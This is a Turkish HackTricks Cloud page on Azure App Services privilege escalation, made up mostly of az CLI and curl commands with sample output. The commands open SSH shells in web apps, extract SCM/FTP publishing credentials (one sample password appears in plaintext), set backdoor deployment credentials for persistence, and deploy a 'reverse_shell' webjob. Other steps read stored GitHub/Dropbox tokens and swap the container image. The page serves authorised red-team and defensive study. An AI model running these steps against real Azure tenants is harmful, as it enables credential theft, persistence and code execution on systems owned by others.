Az - App Services Privesc
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
App Services
Azure App hizmetleri hakkında daha fazla bilgi için kontrol edin:
Microsoft.Web/sites/publish/Action, Microsoft.Web/sites/basicPublishingCredentialsPolicies/read, Microsoft.Web/sites/config/read, Microsoft.Web/sites/read
Bu izinler, bir web uygulaması içinde SSH shell almayı sağlar. Ayrıca uygulamayı debug etmeye de izin verir.
- Tek komutla SSH:
# Direct option
az webapp ssh --name <name> --resource-group <res-group>
- Tünel oluşturun ve ardından SSH’ye bağlanın:
az webapp create-remote-connection --name <name> --resource-group <res-group>
## If successful you will get a message such as:
#Verifying if app is running....
#App is running. Trying to establish tunnel connection...
#Opening tunnel on port: 39895
#SSH is available { username: root, password: Docker! }
## So from that machine ssh into that port (you might need generate a new ssh session to the jump host)
ssh root@127.0.0.1 -p 39895
- Uygulamayı Hata Ayıklama:
- VScode’da Azure uzantısını yükleyin.
- Uzantıda Azure hesabınızla oturum açın.
- Abonelik içindeki tüm Uygulama hizmetlerini listeleyin.
- Hata ayıklamak istediğiniz Uygulama hizmetini seçin, sağ tıklayın ve “Hata Ayıklamayı Başlat“ı seçin.
- Uygulama hata ayıklama etkin değilse, uzantı bunu etkinleştirmeye çalışacaktır ancak hesabınızın bunu yapabilmesi için
Microsoft.Web/sites/config/writeiznine ihtiyacı vardır.
SCM Kimlik Bilgilerini Alma ve Temel Kimlik Doğrulamayı Etkinleştirme
SCM kimlik bilgilerini almak için aşağıdaki komutları ve izinleri kullanabilirsiniz:
Microsoft.Web/sites/publishxml/actionizni çağrılmasına izin verir:
az webapp deployment list-publishing-profiles --name <app-name> --resource-group <res-group>
# Example output
[
{
"SQLServerDBConnectionString": "",
"controlPanelLink": "https://portal.azure.com",
"databases": null,
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
"hostingProviderForumLink": "",
"msdeploySite": "happy-bay-0d8f842ef57843c89185d452c1cede2a",
"mySQLDBConnectionString": "",
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Web Deploy",
"publishMethod": "MSDeploy",
"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443",
"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"webSystem": "WebSites"
},
{
"SQLServerDBConnectionString": "",
"controlPanelLink": "https://portal.azure.com",
"databases": null,
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
"ftpPassiveMode": "True",
"hostingProviderForumLink": "",
"mySQLDBConnectionString": "",
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - FTP",
"publishMethod": "FTP",
"publishUrl": "ftps://waws-prod-yt1-067.ftp.azurewebsites.windows.net/site/wwwroot",
"userName": "happy-bay-0d8f842ef57843c89185d452c1cede2a\\$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"webSystem": "WebSites"
},
{
"SQLServerDBConnectionString": "",
"controlPanelLink": "https://portal.azure.com",
"databases": null,
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
"hostingProviderForumLink": "",
"mySQLDBConnectionString": "",
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Zip Deploy",
"publishMethod": "ZipDeploy",
"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443",
"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"webSystem": "WebSites"
}
]
Kullanıcı adının her zaman aynı olduğunu (FTP’de uygulamanın adının başında eklendiği hariç) ve şifrenin hepsi için aynı olduğunu not edin.
Ayrıca, SCM URL’si <app-name>.scm.azurewebsites.net’dir.
- İzin
Microsoft.Web/sites/config/list/actionçağrılmasına izin verir:
az webapp deployment list-publishing-credentials --name <app-name> --resource-group <res-group>
# Example output
{
"id": "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/carlos_rg_3170/providers/Microsoft.Web/sites/happy-bay-0d8f842ef57843c89185d452c1cede2a/publishingcredentials/$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"kind": null,
"location": "Canada Central",
"name": "happy-bay-0d8f842ef57843c89185d452c1cede2a",
"publishingPassword": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"publishingPasswordHash": null,
"publishingPasswordHashSalt": null,
"publishingUserName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"resourceGroup": "carlos_rg_3170",
"scmUri": "https://$happy-bay-0d8f842ef57843c89185d452c1cede2a:bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS@happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net",
"type": "Microsoft.Web/sites/publishingcredentials"
}
Not edin ki kimlik bilgileri aynıdır önceki komutta.
- Başka bir seçenek, kendi kimlik bilgilerinizi ayarlamak ve bunları kullanmaktır:
# Show if any user is configured (password won't be shown)
az webapp deployment user show
# Set your own credentials
az webapp deployment user set \
--user-name hacktricks \
--password 'W34kP@ssw0rd123!'
# To delete it, check https://stackoverflow.com/questions/45275329/remove-deployment-credentials-from-azure-webapp
Sonra, bu kimlik bilgilerini SCM ve FTP platformlarına erişmek için kullanabilirsiniz. Bu, kalıcılığı sağlamak için de harika bir yoldur.
SCM platformuna web üzerinden erişmek için <SCM-URL>/BasicAuth adresine gitmeniz gerektiğini unutmayın.
Warning
Her kullanıcının önceki komutu çağırarak kendi kimlik bilgilerini yapılandırabileceğini unutmayın, ancak kullanıcı SCM veya FTP’ye erişim için yeterli izne sahip değilse, kimlik bilgileri çalışmayacaktır.
- Bu kimlik bilgilerini REDACTED olarak görüyorsanız, bunun nedeni SCM temel kimlik doğrulama seçeneğini etkinleştirmeniz gerektiğidir ve bunun için ikinci izne (
Microsoft.Web/sites/basicPublishingCredentialsPolicies/write) ihtiyacınız var:
# Enable basic authentication for SCM
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'
# Enable basic authentication for FTP
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'
SCM kimlik bilgilerini kullanarak kod yayınlama
Geçerli SCM kimlik bilgilerine sahip olmak, kod yayınlamak için mümkündür. Bu, aşağıdaki komut kullanılarak yapılabilir.
Bu python örneği için https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart adresinden repoyu indirebilir, istediğiniz değişiklikleri yapabilir ve ardından zip’leyebilirsiniz: zip -r app.zip ..
Ardından, aşağıdaki komut ile bir web uygulamasında kod yayınlayabilirsiniz:
curl -X POST "<SMC-URL>/api/publish?type=zip" --data-binary "@./app.zip" -u '<username>:<password>' -H "Content-Type: application/octet-stream"
Webjobs: Microsoft.Web/sites/publish/Action | SCM kimlik bilgileri
Bahsedilen Azure izni, SCM kimlik bilgileriyle de gerçekleştirilebilecek birkaç ilginç eylemi gerçekleştirmeye olanak tanır:
- Webjobs günlüklerini oku:
# Using Azure credentials
az rest --method GET --url "<SCM-URL>/vfs/data/jobs/<continuous | triggered>/rev5/job_log.txt" --resource "https://management.azure.com/"
az rest --method GET --url "https://lol-b5fyaeceh4e9dce0.scm.canadacentral-01.azurewebsites.net/vfs/data/jobs/continuous/rev5/job_log.txt" --resource "https://management.azure.com/"
# Using SCM username and password:
curl "<SCM-URL>/vfs/data/jobs/continuous/job_name/job_log.txt" \
--user '<username>:<password>' -v
- Webjobs kaynak kodunu okuyun:
# Using SCM username and password:
# Find all the webjobs inside:
curl "<SCM-URL>/wwwroot/App_Data/jobs/" \
--user '<username>:<password>'
# e.g.
curl "https://nodewebapp-agamcvhgg3gkd3hs.scm.canadacentral-01.azurewebsites.net/wwwroot/App_Data/jobs/continuous/job_name/rev.js" \
--user '<username>:<password>'
- Sürekli Webjob oluşturun:
# Using Azure permissions
az rest \
--method put \
--uri "https://windowsapptesting-ckbrg3f0hyc8fkgp.scm.canadacentral-01.azurewebsites.net/api/Continuouswebjobs/reverse_shell" \
--headers '{"Content-Disposition": "attachment; filename=\"rev.js\""}' \
--body "@/Users/username/Downloads/rev.js" \
--resource "https://management.azure.com/"
# Using SCM credentials
curl -X PUT \
"<SCM-URL>/api/Continuouswebjobs/reverse_shell2" \
-H 'Content-Disposition: attachment; filename=rev.js' \
--data-binary "@/Users/carlospolop/Downloads/rev.js" \
--user '<username>:<password>'
Microsoft.Web/sites/write, Microsoft.Web/sites/read, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
Bu izinler, yönetilen bir kimlik atamaya olanak tanır, bu nedenle bir App hizmeti daha önce tehlikeye atıldıysa, bu saldırganın App hizmetine yeni yönetilen kimlikler atamasına ve yetkileri artırmasına olanak tanır.
az webapp identity assign --name <app-name> --resource-group <res-group> --identities /subscriptions/<subcripttion-id>/resourceGroups/<res_group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>
Microsoft.Web/sites/config/list/action
Bu izin, veritabanı kimlik bilgileri gibi hassas bilgileri içerebilecek App hizmetinin bağlantı dizelerini ve uygulama ayarlarını listelemeye olanak tanır.
az webapp config connection-string list --name <name> --resource-group <res-group>
az webapp config appsettings list --name <name> --resource-group <res-group>
Yapılandırılmış Üçüncü Taraf Kimlik Bilgilerini Okuma
Aşağıdaki komutu çalıştırarak üçüncü taraf kimlik bilgilerini mevcut hesapta okumak mümkündür. Örneğin, bazı Github kimlik bilgileri farklı bir kullanıcıda yapılandırılmışsa, farklı bir kullanıcıdan token’a erişemeyeceğinizi unutmayın.
az rest --method GET \
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
Bu komut, Github, Bitbucket, Dropbox ve OneDrive için token’lar döndürür.
İşte token’ları kontrol etmek için bazı komut örnekleri:
# GitHub – List Repositories
curl -H "Authorization: token <token>" \
-H "Accept: application/vnd.github.v3+json" \
https://api.github.com/user/repos
# Bitbucket – List Repositories
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://api.bitbucket.org/2.0/repositories
# Dropbox – List Files in Root Folder
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
--data '{"path": ""}'
# OneDrive – List Files in Root Folder
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://graph.microsoft.com/v1.0/me/drive/root/children
Uygulama Kodunu Kaynaktan Güncelle
- Yapılandırılmış kaynak bir üçüncü taraf sağlayıcı (Github, BitBucket veya Azure Repository gibi) ise, kaynak kodunu tehlikeye atarak uygulama kodunu güncelleyebilirsiniz.
- Uygulama uzaktan bir git deposu (kullanıcı adı ve şifre ile) kullanacak şekilde yapılandırılmışsa, değişiklikleri klonlamak ve itmek için URL ve temel kimlik bilgilerini almak mümkündür:
- İzin kullanarak
Microsoft.Web/sites/sourcecontrols/read:az webapp deployment source show --name <app-name> --resource-group <res-group> - İzin kullanarak
Microsoft.Web/sites/config/list/action: az webapp deployment list-publishing-credentials --name <app-name> --resource-group <res-group>az rest --method POST --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"- Uygulama yerel bir git deposu kullanacak şekilde yapılandırılmışsa, depolamayı klonlamak ve değişiklikleri itmek mümkündür:
- İzin kullanarak
Microsoft.Web/sites/sourcecontrols/read:az webapp deployment source show --name <app-name> --resource-group <res-group>ile git deposunun URL’sini alabilirsiniz, ancak bu, uygulamanın SCM URL’si ile aynı olacak ve/<app-name>.gityolunu içerecektir (örneğin,https://pythonwebapp-audeh9f5fzeyhhed.scm.canadacentral-01.azurewebsites.net:443/pythonwebapp.git). - SCM kimliğini almak için aşağıdaki izne ihtiyacınız var:
Microsoft.Web/sites/publishxml/action: Ardındanaz webapp deployment list-publishing-profiles --resource-group <res-group> -n <name>komutunu çalıştırın.Microsoft.Web/sites/config/list/action: Ardındanaz webapp deployment list-publishing-credentials --name <name> --resource-group <res-group>komutunu çalıştırın.
Warning
Microsoft.Web/sites/config/list/actioniznine ve SCM kimlik bilgilerine sahip olmanın, daha önceki bir bölümde belirtildiği gibi, bir web uygulamasına dağıtım yapmanın her zaman mümkün olduğunu unutmayın (üçüncü taraf bir sağlayıcı kullanacak şekilde yapılandırılmış olsa bile).
Warning
Aşağıdaki izinlere sahip olmanın, web uygulaması farklı bir şekilde yapılandırılmış olsa bile rastgele bir konteyneri çalıştırmanın de mümkün olduğunu unutmayın.
Microsoft.Web/sites/config/Write, Microsoft.Web/sites/config/Read, Microsoft.Web/sites/config/list/Action, Microsoft.Web/sites/Read
Bu, bir web uygulaması tarafından kullanılan konteyneri değiştirmeye olanak tanıyan izinler setidir. Bir saldırgan bunu kötü niyetli bir konteyner çalıştırmak için kötüye kullanabilir.
az webapp config container set \
--name <app-name> \
--resource-group <res-group> \
--docker-custom-image-name mcr.microsoft.com/appsvc/staticsite:latest
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
HackTricks Cloud

